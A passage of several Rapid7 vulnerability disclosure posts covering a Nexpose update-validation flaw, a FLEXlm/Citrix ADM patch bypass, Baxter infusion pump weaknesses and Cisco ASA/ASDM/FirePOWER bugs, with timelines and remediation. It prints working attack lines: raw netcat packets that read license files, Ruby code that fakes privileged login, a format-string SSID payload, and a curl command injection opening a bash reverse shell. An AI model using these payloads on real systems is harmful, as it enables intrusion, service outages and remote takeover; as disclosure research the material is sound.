Avoiding caching session tokens inadvertently exposed through GET requests on a web proxy is more difficult for the average user to avoid, but as long as no untrusted users have access to proxy logs, the risk from exploiting proxy-cached session tokens is remote (an attacker who does have access to web proxies used by students, instructors, and administrators tend to already have more expansive offensive options).

Disclosure Timeline

  • September, 2022: Issue discovered by Tony Porterfield
  • Mon, Sep 12, 2022: Contacted Bugcrowd, Cengage's VDP provider, to work out a disclosure agreement
  • Mon, Sep 19, 2022: Contact attempted to alternate contacts at Cengage
  • Wed, Sep 21, 2022: Agreement reached on disclosure terms
  • Thu, Sep 22, 2022: Vulnerability details communicated to Cengage via Bugcrowd with a public disclosure goal of November 15, 2022.
  • Fri, Sep 23, 2022: Triage begun at Bugcrowd (Issue 4464ed3d-3fb6-4287-ba46-786d21bebad0)
  • Sep 23 - Oct 25, 2022: Triage and reproduction work continued
  • Oct 26, 2022: Bugcrowd verified reproduction of the report
  • Nov 1, 2022: Extended disclosure time by approximately 30 days
  • Thu, Dec 15, 2022: Vendor provided update on fix status
  • Fri, Dec 20, 2022: This public disclosure
CVE-2022-4261: Rapid7 Nexpose Update Validation Issue (FIXED)

On November 14, 2022, Rapid7's product engineering team discovered that the mechanism used to validate the source of an update file was unreliable. This failure involving the internal cryptographic validation of received updates was designated as CVE-2022-4261, and is an instance of CWE-494. Rapid7's estimate of the CVSSv3.1 base rating for this vulnerability for most environments is 4.4 (Medium). This issue is resolved in the regular December 7, 2022 release.

Product Description

Rapid7 Nexpose is an on-premise vulnerability scanner, used by many enterprises around the world to assess and manage the vulnerability exposures present in their networks. You can read more about Nexpose at our website.

Note that CVE-2022-4261 only affects the on-premise Nexpose product, and does not affect InsightVM.

Credit

This issue was discovered by Rapid7 Principal Software Engineer Emmett Kelly and validated by the Rapid7 Nexpose product team. It is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Exploitation

Exploitation of this issue is complex, and requires an attacker already in a privileged position in the network. By understanding these complications, we believe our customers will be better able to make appropriate judgements on the risk of delaying this update, perhaps due to established change control procedures.

In order to exploit CVE-2022-4261, an attacker would first need to be in a position to provide a malicious update to Nexpose, either through a privileged position on the network, on the local computer that runs Nexpose (with sufficient privileges to initiate an update), or by convincing a Nexpose administrator to apply a maliciously-crafted update through social engineering. Once applied, the update could introduce new functionality to Nexpose that would benefit the attacker.

Impact

Given the requirement of a privileged position on the network or local machine, exploiting CVE-2022-4261, in most circumstances, is academic. Such an adversary is likely to already have many other (and often easier) choices when it comes to leveraging this position to cause trouble on the target network. In the case of a local machine compromise (which is the most likely attack scenario), the attacker could use this position to instead create a fairly permanent ingress avenue to the internal network and exercise the usual lateral movement options documented as ATT&CK technique T1557.

Remediation

Disabling automatic updates completely removes the risk of exploitation of CVE-2022-4261. That said, most Nexpose administrators already employ Nexpose's automated updates, and should apply updates either on their already established automated schedules or as soon as it's convenient to do so.

Nexpose administrators that are especially concerned that they will be targeted during their next update, or who believe they have already been compromised by persistent attackers, should disable automatic updates and use the documented Managing Updates without an Internet Connection procedure to fix this issue, after manually validating the authenticity of the update package.

Fixing an update system with an update is always fairly complex, given the chicken-and-egg nature of the problem being addressed, as well as the risks involved in using an update system to fix an update system. So, it is out of an abundance of caution that we are publishing this advisory today to ensure that customers who rely on automatic updates are made plainly aware of this issue and can plan accordingly.

Disclosure Timeline

  • Mon, Nov 14, 2022: Issue discovered by Emett Kelly, and validated by the Nexpose product team.
  • Thu, Dec 1, 2022: CVE-2022-4261 reserved by Rapid7.
  • Wed, Dec 7, 2022 : This disclosure and update 6.6.172 released.

On June 27, 2022, Citrix released an advisory for CVE-2022-27511 and CVE-2022-27512, which affect Citrix ADM (Application Delivery Management).

Rapid7 investigated these issues to better understand their impact, and found that the patch is not sufficient to prevent exploitation. We also determined that the worst outcome of this vulnerability is a denial of service - the licensing server can be told to shut down (even with the patch). We were not able to find a way to reset the admin password, as the original bulletin indicated.

In the course of investigating CVE-2022-27511 and CVE-2022-27512, we determined that the root cause of the issues in Citrix ADM was a vulnerable implementation of popular licensing software FLEXlm, also known as FlexNet Publisher. This disclosure addresses both the core issue in FLEXlm and Citrix ADM’s implementation of it (which resulted in both the original CVEs and later the patch bypass our research team discovered). Rapid7 coordinated disclosure with both companies and CERT/CC.

As of this publication, these issues remain unpatched, so IT defenders are urged to reach out to Revenera and Citrix for direct guidence on mitigating these denial of service vulnerabilities and CVE assignment.

Products

FLEXlm is a license management application that is part of FlexNet licensing, provided by Revenera's Flexnet Software, and is used for license provisioning on many popular network applications, including Citrix ADM. You can read more about FlexNet at the vendor's website.

Citrix ADM is an application provisioning solution from Citrix, which uses FLEXlm for license management. You can read more about Citrix ADM at the vendor's website.

Discoverer

This issue was discovered by Ron Bowes of Rapid7 while researching CVE-2022-27511 in Citrix ADM. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

Citrix ADM runs on FreeBSD, and remote administrative logins are possible. Using that, we compared two different versions of the Citrix ADM server - before and after the patch.

Eventually, we went through each network service, one by one, to check what each one did and whether the patch may have fixed something. When we got to TCP port 27000, we found that lmgrd was running. Looking up lmgrd, we determined that it's a licensing server made by FLEXlm called FlexNet Licensing (among other names), made by Revenera. Since the bulletin calls out licensing disruption, this seemed like a sensible place to look; from the bulletin:

Temporary disruption of the ADM license service. The impact of this includes preventing new licenses from being issued or renewed by Citrix ADM.

If we look at how lmgrd is executed before and after the patch, we find that the command line arguments changed; before:

bash-3.2# ps aux | grep lmgrd
root         3506   0.0  0.0   10176   6408  -  S    19:22      0:09.67 /netscaler/lmgrd -l /var/log/license.log -c /mpsconfig/license

And after:

bash-3.2# ps aux | grep lmgrd
root         5493   0.0  0.0   10176   5572  -  S    13:15     0:02.45 /netscaler/lmgrd -2 -p -local -l /var/log/license.log -c /mpsconfig/license

If we look at some online documentation, we see that the -2 -p flags are security-related:

-2 -p    Restricts usage of lmdown, lmreread, and lmremove to a FLEXlm administrator who is by default root. [...]

Patch Analysis

We tested a Linux copy of FlexNet 11.18.3.1, which allowed us to execute and debug Flex locally. Helpfully, the various command line utilities that FlexNet uses to perform actions (accessible via lmutil) use a TCP connection to localhost, allowing us to analyze the traffic. For example, the following command:

$ ./lmutil lmreread -c ./license/citrix_startup.lic
lmutil - Copyright (c) 1989-2021 Flexera. All Rights Reserved.
lmreread successful

Generates a lot of traffic going to localhost:27000, including:

Sent:

00000000  2f 4c 0f b0 00 40 01 02  63 05 2c 85 00 00 00 00   /L...@.. c.,.....
00000010  00 00 00 02 01 04 0b 12  00 54 00 78 00 02 0b af   ........ .T.x....
00000020  72 6f 6e 00 66 65 64 6f  72 61 00 2f 64 65 76 2f   ron.fedo ra./dev/
00000030  70 74 73 2f 32 00 00 78  36 34 5f 6c 73 62 00 01   pts/2..x 64_lsb..

Received:

    00000000  2f 8f 09 c6 00 26 01 0e  63 05 2c 85 41 00 00 00   /....&.. c.,.A...
    00000010  00 00 00 02 0b 12 01 04  00 66 65 64 6f 72 61 00   ........ .fedora.
    00000020  6c 6d 67 72 64 00                                  lmgrd.

Sent:

00000040  2f 23 34 78 00 24 01 07  63 05 2c 86 00 00 00 00   /#4x.$.. c.,.....
00000050  00 00 00 02 72 6f 6e 00  66 65 64 6f 72 61 00 00   ....ron. fedora..
00000060  92 00 00 0a                                        ....

Received:

    00000026  2f 54 18 b9 00 a8 00 4f  63 05 2c 86 41 00 00 00   /T.....O c.,.A...
    00000036  00 00 00 02 4f 4f 00 00  00 00 00 00 00 00 00 00   ....OO.. ........
    00000046  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000056  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000066  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000076  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000086  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    00000096  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    000000A6  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    000000B6  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00   ........ ........
    000000C6  00 00 00 00 00 00 00 00                            ........

If we start the service with the -2 -p flag, we can no longer run lmreread:

$ ./lmutil lmreread -c ./license/citrix_startup.lic
lmutil - Copyright (c) 1989-2021 Flexera. All Rights Reserved.
lmreread failed: You are not a license administrator. (-63,294)

That appears to be working as intended! Or does it?

Protocol Analysis

We spent a substantial amount of time reverse engineering FlexNet's protocol. FlexNet uses a binary protocol with a lot of support and code paths for different (and deprecated) versions of the protocol. But we built a tool (that you can get on GitHub) that implements the interesting parts of the protocol.

It turns out, even ignoring the vulnerability, you can do a whole bunch of stuff against the FlexNet service, and none of it even requires authentication! For example, you can grab the path to the license file:

$ echo -ne "\x2f\xa9\x21\x3a\x00\x3f\x01\x08\x41\x41\x41\x41\x42\x42\x42\x42\x43\x00\x44\x44\x01\x04\x72\x6f\x6f\x74\x00\x43\x69\x74\x72\x69\x78\x41\x44\x4d\x00\x6c\x6d\x67\x72\x64\x00\x2f\x64\x65\x76\x2f\x70\x74\x73\x2f\x31\x00\x67\x65\x74\x70\x61\x74\x68\x73\x00" | nc 10.0.0.9 27000
LW37/mpsconfig/license/citrix_startup.lic

You can even grab the whole license file:

$ echo -ne "\x2f\x8a\x17\x2d\x00\x37\x01\x08\x41\x41\x41\x41\x42\x42\x42\x42\x43\x00\x44\x44\x01\x04\x72\x6f\x6f\x74\x00\x43\x69\x74\x72\x69\x78\x41\x44\x4d\x00\x6c\x6d\x67\x72\x64\x
00\x2f\x64\x65\x76\x2f\x70\x74\x73\x2f\x31\x00\x00" | nc -v 10.0.0.9 27000
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Connected to 10.0.0.9:27000.
L6194# DO NOT REMOVE THIS COMMENT LINE
# "のコメント行は削除しLK6060NEN
# NE SUPPRIMEZ PAS CETTE LIGNE DE COMMENTAIRE
# NO ELIMINAR ESTA LÍNL5926IX PORT=7279

And you can also remotely re-load the license file and shut down the service if the -p -2 flag is not set when the server starts. That's the core of the original CVEs - that those flags aren't used and therefore a remote user can take administrative actions.

Patch Bypass

The problem is, all of the security features (including declaring your username and privilege level) are client-side choices, which means that without knowing any secret information, the client can self-declare that they are privileged.

This is what the "authentication" message looks like in flexnet-tools.rb:

  send_packet(0x2f, 0x0102,
    "\x01\x04" + # If the `\x04` value here is non-zero, we are permitted to log in
    "\x0b\x10" + # Read as a pair of uint16s
    "\x00\x54" + # Read as single uint16
    "\x00\x78" + # Read as single uint16
    "\x00\x00\x16\x97" + # Read as uint32
    "root\x00" +
    "CitrixADM\x00" +
    "/dev/pts/1\x00" +
    "\x00" + # If I add a string here, the response changes
    "x86_f8\x00" +
    "\x01"
  )

In that example, root is the username, and CitrixADM is the host. Those can be set to whatever the client chooses, and permissions and logs will reflect that. The first field, \x01\x04, is also part of the authentication process, where the \x04 value specifically enables remote authorization - while we found the part of the binary that reads that value, we are not clear what the actual purpose is.

By declaring oneself as root@CitrixADM (using that message), it bypasses the need to actually authenticate. The lmdown field, for shutting down the licensing server, has an addition required field:

when 'lmdown'
  out = send_packet(0x2f, 0x010a,
    "\x00" + # Forced?
    "root\x00" + # This is used in a log message
    "CitrixADM\x00" +
    "\x00" +
    "\x01\x00\x00\x7f" +
    "\x00" +
    (LOGIN ? "islocalSys" : "") + # Only attach islocalSys if we're logging in
    "\x00"
  )

The islocalSys value self-identifies the client as privileged, and therefore it is allowed to bypass the -2 -p flag and perform restricted actions. This bypasses the patch.

Impact

Remotely shutting down the FLEXlm licensing server can cause a denial of service condition in the software for which that licensing server is responsible. In this particular case, exploiting this vulnerability can cause a disruption in provisioning licenses through Citrix ADM.

Remediation

In the absence of a vendor-supplied patch, users of software that relies on FLEXlm should not expose port 27000/TCP to untrusted networks. Note that in many cases, this would remove the functionality of the license server entirely.

Disclosure Timeline

This issue was disclosed in accordance with Rapid7's [vulnerability disclosure] policy(https://www.rapid7.com/security/disclosure/#zeroday), but with a slightly faster initial release to CERT/CC, due to the multivendor nature of the issue.

  • June, 2022: Issues discovered and documented by Rapid7 researcher Ron Bowes
  • Tue, Jul 5, 2022: Disclosed to Citrix via their PSIRT team
    Thu, Jul 7, 2022: Disclosed to Flexera via their PSIRT team
  • Wed, Jul 12, 2022: Disclosed to CERT/CC (VU#300762)
  • July - October, 2022: Disclosure discussions between Rapid7, Citrix, Flexera, and CERT/CC through VINCE (Case 603).
  • Tue, Oct 18, 2022: This public disclosure
Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

Rapid7, Inc. (Rapid7) discovered vulnerabilities in two TCP/IP-enabled medical devices produced by Baxter Healthcare. The affected products are:

  • SIGMA Spectrum Infusion Pump (Firmware Version 8.00.01)
  • SIGMA Wi-Fi Battery (Firmware Versions 16, 17, 20 D29)

Rapid7 initially reported these issues to Baxter on April 20, 2022. Since then, members of our research team have worked alongside the vendor to discuss the impact, resolution, and a coordinated response for these vulnerabilities.

Product description

Baxter’s SIGMA Spectrum product is a commonly used brand of infusion pumps, which are typically used by hospitals to deliver medication and nutrition directly into a patient’s circulatory system. These TCP/IP-enabled devices deliver data to healthcare providers to enable more effective, coordinated care.

Credit

The vulnerabilities in two TCP/IP-enabled medical devices were discovered by Deral Heiland, Principal IoT Researcher at Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy after coordination with the vendor.

Vendor statement

"In support of our mission to save and sustain lives, Baxter takes product security seriously. We are committed to working with the security researcher community to verify and respond to legitimate vulnerabilities and ask researchers to participate in our responsible reporting process. Software updates to disable Telnet and FTP (CVE-2022-26392) are in process. Software updates to address the format string attack (CVE-2022-26393) are addressed in WBM version 20D30 and all other WBM versions. Authentication is already available in Spectrum IQ (CVE-2022-26394). Instructions to erase all data and settings from WBMs and pumps before decommissioning and transferring to other facilities (CVE-2022-26390) are in process for incorporation into the Spectrum Operator’s Manual and are available in the Baxter Security Bulletin."

Exploitation and remediation

This section details the potential for exploitation and our remediation guidance for the issues discovered and reported by Rapid7, so that defenders of this technology can gauge the impact of, and mitigations around, these issues appropriately.

Battery units store Wi-Fi credentials (CVE-2022-26390)

Rapid7 researchers tested Spectrum battery units for vulnerabilities. We found all units that were tested store Wi-Fi credential data in non-volatile memory on the device.

When a Wi-Fi battery unit is connected to the primary infusion pump and the infusion pump is powered up, the pump will transfer the Wi-Fi credential to the battery unit.

Exploitation

An attacker with physical access to an infusion pump could install a Wi-Fi battery unit (easily purchased on eBay), and then quickly power-cycle the infusion pump and remove the Wi-Fi battery – allowing them to walk away with critical Wi-Fi data once a unit has been disassembled and reverse-engineered.

Also, since these battery units store Wi-Fi credentials in non-volatile memory, there is a risk that when the devices are de-acquisitioned and no efforts are made to overwrite the stored data, anyone acquiring these devices on the secondary market could gain access to critical Wi-Fi credentials of the organization that de-acquisitioned the devices.

Remediation

To mitigate this vulnerability, organizations should restrict physical access by any unauthorized personnel to the infusion pumps or associated Wi-Fi battery units.

In addition, before de-acquisitioning the battery units, batteries should be plugged into a unit with invalid or blank Wi-Fi credentials configured and the unit powered up. This will overwrite the Wi-Fi credentials stored in the non-volatile memory of the batteries. Wi-Fi must be enabled on the infusion pump unit for this overwrite to work properly.

Format string vulnerabilities

“Hostmessage” (CVE-2022-26392)

When running a telnet session on the Baxter Sigma Wi-Fi Battery Firmware Version 16, the command “hostmessage” is vulnerable to format string vulnerability.

Exploitation

An attacker could trigger this format string vulnerability by entering the following command during a telnet session:

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

To view the output of this format string vulnerability, `settrace state=on` must be enabled in the telnet session. `set trace` does not need to be enabled for the format string vulnerability to be triggered, but it does need to be enabled if the output of the vulnerability is to be viewed.

Once `set trace` is enabled and showing output within the telnet session screen, the output of the vulnerability can be viewed, as shown below, where each `%x` returned data from the device’s process stack.

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

SSID (CVE-2022-26393)

Rapid7 also found another format string vulnerability on Wi-Fi battery software version 20 D29. This vulnerability is triggered within SSID processing by the `get_wifi_location (20)` command being sent via XML to the Wi-Fi battery at TCP port 51243 or UDP port 51243.

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

Exploitation

This format string vulnerability can be triggered by first setting up a Wi-Fi access point containing format string specifiers in the SSID. Next, an attacker could send a `get_wifi_location (20)` command via TCP Port 51243 or UDP port 51243 to the infusion pump. This causes the device to process the SSID name of the access point nearby and trigger the exploit.  The results of the triggering of format strings can be viewed with trace log output within a telnet session as shown below.

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

The SSID of `AAAA%x%x%x%x%x%x%x%x%x%x%x%x%x%x` allows for control of 4 bytes on the stack, as shown above, using the `%x` to walk the stack until it reaches 41414141. By changing the leading `AAAA` in the SSID, a malicious actor could potentially use the format string injection to read and write arbitrary memory. At a minimum, using format strings of `%s` and `%n` could allow for a denial of service (DoS) by triggering an illegal memory read (`%s`) and/or illegal memory write (`%n`).

Note that in order to trigger this DoS effect, the attacker would need to be within normal radio range and either be on the device's network or wait for an authorized `get_wifi_location` command (the latter would itself be a usual, non-default event).

Remediation

To prevent exploitation, organizations should restrict access to the network segments containing the infusion pumps. They should also monitor network traffic for any unauthorized host communicating over TCP and UDP port 51243 to infusion pumps. In addition, be sure to monitor Wi-Fi space for rogue access points containing format string specifiers within the SSID name.

Unauthenticated network reconfiguration via TCP/UDP (CVE-2022-26394)

All Wi-Fi battery units tested (versions 16, 17, and 20 D29) allowed for remote unauthenticated changing of the SIGMA GW IP address. The SIGMA GW setting is used for configuring the back-end communication services for the devices operation.

Exploitation

An attacker could accomplish a remote redirect of SIGMA GW by sending an XML command 15 to TCP or UDP port 51243. During testing, only the SIGMA GW IP was found to be remotely changeable using this command. An example of this command and associated structure is shown below:

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

This could be used by a malicious actor to man-in-the-middle (MitM) all the communication initiated by the infusion pump. This could lead to information leakage and/or data being manipulated by a malicious actor.

Remediation

Organizations using SIGMA Spectrum products should restrict access to the network segments containing the infusion pumps. They should also monitor network traffic for any unauthorized host communicating over TCP and UDP port 51243 to the infusion pumps.

UART configuration access to Wi-Fi configuration data (additional finding)

The SIGMA Spectrum infusion pump unit transmits data unencrypted to the Wi-Fi battery unit via universal asynchronous receiver-transmitter (UART). During the power-up cycle of the infusion pump, the first block of data contains the Wi-Fi configuration data. This communication contains the SSID and 64-Character hex PSK.

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

Exploitation

A malicious actor with physical access to an infusion pump can place a communication shim between the units (i.e., the pump and the Wi-Fi battery) and capture this data during the power-up cycle of the unit.

Baxter SIGMA Spectrum Infusion Pumps: Multiple Vulnerabilities (FIXED)

Remediation

To help prevent exploitation, organizations should restrict physical access by unauthorized persons to the infusion pumps and associated Wi-Fi battery units.

Note that this is merely an additional finding based on physical, hands-on access to the device. While Baxter has addressed this finding through better decommissioning advice to end users, this particular issue does not rank for its own CVE identifier, as local encryption is beyond the scope of the hardware design of the device.

Disclosure timeline

Baxter is an exemplary medical technology company with an obvious commitment to patient and hospital safety. While medtech vulnerabilities can be tricky and expensive to work through, we're quite pleased with the responsiveness, transparency, and genuine interest shown by Baxter's product security teams.

  • April, 2022: Issues discovered by Deral Heiland of Rapid7
  • Wed, April 20, 2022: Issues reported to Baxter product security
  • Wed, May 11, 2022: Update requested from Baxter
  • Wed, Jun 1, 2022: Teleconference with Baxter and Rapid7 presenting findings
  • Jun-Jul 2022: Several follow up conversations and updates between Baxter and Rapid7
  • Tue, Aug 2, 2022: Coordination tracking over VINCE and more teleconferencing involving Baxter, Rapid7, CERT/CC, and ICS-CERT (VU#142423)
  • Wed, Aug 31, 2022: Final review of findings and mitigations
  • Thu Sep 8, 2022: Baxter advisory published
  • Thu, Sep 8, 2022: Public disclosure of these issues
  • Thu, Sep 8, 2022: ICS-CERT advisory published

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.


Additional reading:

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

Rapid7 discovered vulnerabilities and “non-security” issues affecting Cisco Adaptive Security Software (ASA), Adaptive Security Device Manager (ASDM), and FirePOWER Services Software for ASA. Rapid7 initially reported the issues to Cisco in separate disclosures in February and March 2022. Rapid7 and Cisco continued discussing impact and resolution of the issues through August 2022. The following table lists the vulnerabilities and the last current status that we were able to verify ourselves. Note: Cisco notified Rapid7 as this blog was going to press that they had released updated software. We have been unable to verify these fixes given the short notice, but have marked them with ** in the table.

For information on vulnerability checks in InsightVM and Nexpose, please see the Rapid7 customers section at the end of this blog.

Description Identifier Status
Cisco ASDM binary packages are not signed. A malicious ASDM package can be installed on a Cisco ASA resulting in arbitrary code execution on any client system that connects to the ASA via ASDM. CVE-2022-20829 Not fixed**
The Cisco ASDM client does not verify the server’s SSL certificate, which makes it vulnerable to man-in-the-middle (MITM) attacks. None Not fixed
Cisco ASDM client sometimes logs credentials to a local log file. Cisco indicated this was a duplicate issue, although they updated CVE-2022-20651’s affected versions to include the version Rapid7 reported and issued a new release of ASDM (7.17.1.155) in June. CVE-2022-20651 Fixed
Cisco ASDM client is affected by an unauthenticated remote code execution vulnerability. The issue was originally reported by Malcolm Lashley and was disclosed without a fix by Cisco in July 2021. Cisco reported this issue was fixed in ASDM 7.18.1.150, but Rapid7 has informed Cisco that the issue was in fact not addressed and remains unfixed. Cisco sent a new build for testing prior to publication of this blog, but because of time constraints we were unable to test it. CVE-2021-1585

CSCvw79912		 Not fixed**
Cisco ASDM binary package contains an unsigned Windows installer. The ASDM client will prompt the user to execute the unsigned installer or users are expected to download the installer from the ASA and execute it. This is an interesting code execution mechanism to be used with CVE-2022-20829 or CVE-2021-1585. CSCwc21296 Fixed
Cisco ASA-X with FirePOWER Services is vulnerable to an authenticated, remote command injection vulnerability. Using this vulnerability allows an attacker to gain root access to the FirePOWER module. CVE-2022-20828 Fixed in most maintained versions
Cisco FirePOWER module before 6.6.0 allowed a privileged Cisco ASA user to reset the FirePOWER module user’s password. A privileged Cisco ASA user could bypass the FirePOWER module login prompt to gain root access on the FirePOWER module. CSCvo79327 Fixed in most maintained versions
Cisco FirePOWER module boot images before 7.0.0 allow a privileged Cisco ASA user to obtain a root shell via command injection or hard-coded credentials. CSCvu90861 Fixed in boot images >= 7.0. Not fixed on ASA.
Cisco ASA with FirePOWER Services loads and executes arbitrary FirePOWER module boot images. The ASA does not restrict the use of old boot images or even the use of boot images that weren’t created by Cisco. This could result in code execution from a malicious boot image. None Not fixed
Some Cisco FirePOWER module boot images support the installation of unsigned FirePOWER installation packages. This could result in code execution from a malicious package. None Not fixed

** Denotes an advisory Cisco updated as this blog went to press.

Rapid7 will present the vulnerabilities, exploits, and tools at Black Hat USA and DEF CON on August 11 and August 13, respectively.

Product description

Cisco ASA Software is a “core operating system for the Cisco ASA Family.” Cisco ASA are widely deployed enterprise-class firewalls that also support VPN, IPS, and many other features.

Cisco ASDM is a graphical user interface for remote administration of appliances using Cisco ASA Software.

FirePOWER Services Software is a suite of software that supports the installation of the FirePOWER module on Cisco ASA 5500-X with FirePOWER Services.

Credit

This issue was discovered by Jake Baines of Rapid7, and it is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Analysis

Of all the reported issues, Rapid7 believes the following to be the most critical.

CVE-2022-20829: ASDM binary package is not signed

The Cisco ASDM binary package is installed on the Cisco ASA. Administrators that use ASDM to manage their ASA download and install the Cisco ASDM Launcher on their Windows or macOS system. When the ASDM launcher connects to the ASA, it will download a large number of Java files from the ASA, load them into memory, and then pass execution to the downloaded Java.

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

The ASDM launcher installer, the Java class files, the ASDM web portal, and other files are all contained within the ASDM binary package distributed by Cisco. Rapid7 analyzed the format of the binary package and determined that it lacked any type of cryptographic signature to verify the package’s authenticity (see CWE-347). We discovered that we could modify the contents of an ASDM package, update a hash in the package’s header, and successfully install the package on a Cisco ASA.

The result is that an attacker can craft an ASDM package that contains malicious installers, malicious web pages, and/or malicious Java. An example of exploitation using a malicious ASDM package goes like this: An administrator using the ASDM client connects to the ASA and downloads/executes attacker-provided Java. The attacker then has access to the administrator’s system (e.g. the attacker can send themselves a reverse shell). A similar attack was executed by Slingshot APT against Mikrotik routers and the administrative tool Winbox.

The value of this vulnerability is high because the ASDM package is a distributable package. A malicious ASDM package might be installed on an ASA in a supply chain attack, installed by an insider, installed by a third-party vendor/administrator, or simply made available “for free” on the internet for administrators to discover themselves (downloading ASDM from Cisco requires a valid contract).

Rapid7 has published a tool, the way, that demonstrates extracting and rebuilding “valid” ASDM packages. The way can also generate ASDM packages with an embedded reverse shell. The following video demonstrates an administrative user triggering the reverse shell simply by connecting to the ASA.

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

Note: Cisco communicated on August 11, 2022 that they had released new software images that resolve CVE-2022-20829. We have not yet verified this information.

CVE-2021-1585: Failed patch

Rapid7 vulnerability research previously described exploitation of CVE-2021-1585 on AttackerKB. The vulnerability allows a man-in-the-middle or evil endpoint to execute arbitrary Java code on an ASDM administrator’s system via the ASDM launcher (similar to CVE-2022-20829). Cisco publicly disclosed this vulnerability without a patch in July 2021. However, at the time of writing, Cisco’s customer-only disclosure page for CVE-2021-1585 indicates that the vulnerability was fixed with the release of ASDM 7.18.1.150 in June 2022.

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

Rapid7 quickly demonstrated to Cisco that this is incorrect. Using our public exploit for CVE-2021-1585, staystaystay, Rapid7 was able to demonstrate the exploit works against ASDM 7.18.1.150 without any code changes.

The following video demonstrates downloading and installing 7.18.1.150 from an ASA and then using staystaystay to exploit the new ASDM launcher. staystaystay only received two modifications:

  • The version.prop file on the web server was updated to indicate the ASDM version is 8.14(1) to trigger the new loading behavior.
  • The file /public/jploader.jar was downloaded from the ASA and added to the staystaystay web server.
Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

Additionally, ASDM 7.18.1.150 is still exploitable when it encounters older versions of ASDM on the ASA. The following shows that Cisco added a pop-up to the ASDM client indicating connecting to the remote ASA may be dangerous, but allows the exploitation to continue if the user clicks “Yes”:

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

CVE-2021-1585 is a serious vulnerability. Man-in-the-middle attacks are trivial for well-funded APT. Often they have the network position and the motive. It also does not help that ASDM does not validate the remote server’s SSL certificate and uses HTTP Basic Authentication by default (leading to password disclosure to active MITM). The fact that this vulnerability has been public and unpatched for over a year should be a concern to anyone who administers Cisco ASA using ASDM.

If Cisco did release a patch in a timely manner, it’s unclear how widely the patch would be adopted. Rapid7 scanned the internet for ASDM web portals on June 15, 2022, and examined the versions of ASDM being used in the wild. ASDM 7.18.1 had been released a week prior and less than 0.5% of internet-facing ASDM had adopted 7.18.1. Rapid7 found the most popular version of ASDM to be 7.8.2, a version that had been released in 2017.

Note: Cisco communicated on August 11, 2022 that they had released new software images that resolve CVE-2021-1585. We have not yet verified this information.

ASDM Version Count
Cisco ASDM 7.8(2) 3202
Cisco ASDM 7.13(1) 1698
Cisco ASDM 7.15(1) 1597
Cisco ASDM 7.16(1) 1139
Cisco ASDM 7.9(2) 1070
Cisco ASDM 7.14(1) 1009
Cisco ASDM 7.8(1) 891
Cisco ASDM 7.17(1) 868
Cisco ASDM 7.12(2) 756
Cisco ASDM 7.12(1) 745

CVE-2022-20828: Remote and authenticated command injection

CVE-2022-20828 is a remote and authenticated vulnerability that allows an attacker to achieve root access on ASA-X with FirePOWER Services when the FirePOWER module is installed. To better understand what the FirePOWER module is, we reference an image from Cisco’s Cisco ASA FirePOWER Module Quick Start Guide.

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

The FirePOWER module is the white oval labeled “ASA FirePOWER Module Deep Packet Inspection.” The module is a Linux-based virtual machine (VM) hosted on the ASA. The VM runs Snort to classify traffic passing through the ASA. The FirePOWER module is fully networked and can access both outside and inside of the ASA, making it a fairly ideal location for an attacker to hide in or stage attacks from.

The command injection vulnerability is linked to the Cisco command line interface (CLI) session do command. In the example that follows, command session do \id`is being executed on the Cisco ASA CLI via ASDM (HTTP), and the Linux commandid` is executed within the FirePOWER module.

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

A reverse shell exploit for this vulnerability is small enough to be tweetable (our favorite kind of exploit). The following curl command can fit in a tweet and will generate a bash reverse shell from the FirePOWER module to 10.12.70.252:1270:

curl -k -u albinolobster:labpass1 -H "User-Agent: ASDM/ Java/1.8" "https://10.12.70.253/admin/exec/session+sfr+do+\`bash%20-i%20>&%20%2fdev%2ftcp%2f10.12.70.252%2f1270%200>&1\`"

A Metasploit module has been developed to exploit this issue as well.

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

The final takeaway for this issue should be that exposing ASDM to the internet could be very dangerous for ASA that use the FirePOWER module. While this might be a credentialed attack, as noted previously, ASDM’s default authentication scheme discloses username and passwords to active MITM attackers. ASDM client has also recently logged credentials to file (CVE-2022-20651), is documented to support the credentials <blank>:<blank> by default (See “Start ASDM”, Step 2), and, by default, doesn’t have brute-force protections enabled. All of that makes the following a very real possibility.

Rapid7 Discovered Vulnerabilities in Cisco ASA, ASDM, and FirePOWER Services Software

To further demonstrate ASDM password weaknesses, we’ve published Metasploit modules for brute-forcing credentials on the ASDM interface and searching through ASDM log files for valid credentials.

CSCvu90861: FirePOWER boot image root shell

